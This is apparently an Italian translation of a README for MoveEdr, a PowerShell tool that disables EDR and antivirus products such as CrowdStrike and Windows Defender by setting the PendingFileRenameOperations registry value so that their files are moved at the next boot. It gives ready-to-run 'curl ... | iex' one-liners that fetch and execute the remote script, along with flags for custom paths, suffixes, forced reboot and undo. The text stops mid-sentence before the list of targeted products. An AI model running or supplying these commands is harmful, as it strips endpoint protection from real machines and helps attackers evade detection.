
Disabilita permanentemente gli EDR come amministratore locale
Se sei amministratore puoi forzare Windows a eliminare o spostare cartelle e file subito dopo l'avvio, prima che i servizi vengano avviati. Questo può essere usato per disabilitare gli EDR.
[!CAUTION] C'è un problema con CrowdStrike che provoca un bootloop con il messaggio "INACCESSIBLE_BOOT_DEVICE". La mia teoria è che CrowdStrike stesso o una soluzione di distribuzione software tenti di installare i file CrowdStrike mancanti, fallisca e lasci il sistema in uno stato instabile. Non sono sicuro se dipenda dal tempo trascorso dopo lo spostamento o dal numero di riavvii effettuati. Spostare CrowdStrike via per la prima volta e riavviare funziona correttamente. Magari pianifica l'undo dopo il primo riavvio, per prudenza.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
I seguenti flag sono disponibili
Undo : Annulla lo spostamento dell'EDR, funziona con CustomPathsClear: Cancella il valore della chiave di registroPrint: Stampa il valore della chiave di registro in un formato leggibile invece di stringhe terminate da byte nulliCustomOnly: Per impostazione predefinita, CustomPaths e FullyCustomPaths vengono aggiunti agli spostamenti integrati. Questo flag garantisce che solo i tuoi percorsi personalizzati vengano spostati.CustomPaths: Specifica i tuoi percorsi EDR invece di usare quelli integrati. Accetta solo origini come input; per personalizzare anche la destinazione usa FullyCustomPaths.FullyCustomPaths : Specifica origini e destinazioni, dandoti il controllo sulla destinazione invece di usare un $Suffix.Suffix: Usa un suffisso diverso per i file spostati invece del default _bakDump: Estrae i valori della chiave di registro in un formato utilizzabile con LoadLoad: Carica i valori della chiave di registro precedentemente estrattiDefenderHard: Invece di spostare solo eseguibili selezionati di Windows Defender, sposta l'intera cartella Windows DefenderIgnoreOld: Non mantenere i valori già esistenti della chiave di registro, sovrascrivili ciecamenteReboot: Esegue un riavvio immediatamente dopo l'impostazione della chiave di registro. Potrebbe eseguire Windows Updates e impiegare molto tempo per riavviarsi 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Alcuni programmi hanno una funzione che impedisce persino agli amministratori locali di disinstallarli o disabilitarli. Nella maggior parte dei casi si tratta di AV/EDR che ti richiedono una password di disattivazione, anche quando sei amministratore.
Ecco un trucco per disabilitarli spostando file e cartelle in modo che non possano essere avviati al prossimo avvio.
PendMoves di SysInternals fornisce movefile.exe che ha la seguente spiegazione:
Esistono diverse applicazioni, come service pack e hotfix, che devono sostituire un file in uso e non riescono a farlo. Windows fornisce quindi l'API MoveFileEx per rinominare o eliminare un file e consente al chiamante di specificare che l'operazione deve avvenire al successivo avvio del sistema, prima che i file vengano referenziati. Session Manager esegue questa operazione leggendo i comandi di rinomina ed eliminazione registrati dal valore HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations.
Come fa esattamente MoveFileEx? Controlliamo la documentazione:
La funzione memorizza le posizioni dei file da rinominare al riavvio nel seguente valore di registro: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
Questo valore di registro è di tipo REG_MULTI_SZ. Ogni operazione di rinomina memorizza una delle seguenti stringhe terminate da NULL, a seconda che la rinomina sia un'eliminazione o meno:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Ciò significa che possiamo ottenere lo stesso effetto di movefile.exe creando la chiave di registro PendingFileRenameOperations e inserendo i percorsi dei file/directory che vogliamo eliminare nel corretto formato REG_MULTI_SZ.
Lo script MoveEdr automatizza la creazione delle chiavi di registro corrette per i seguenti AV/EDR: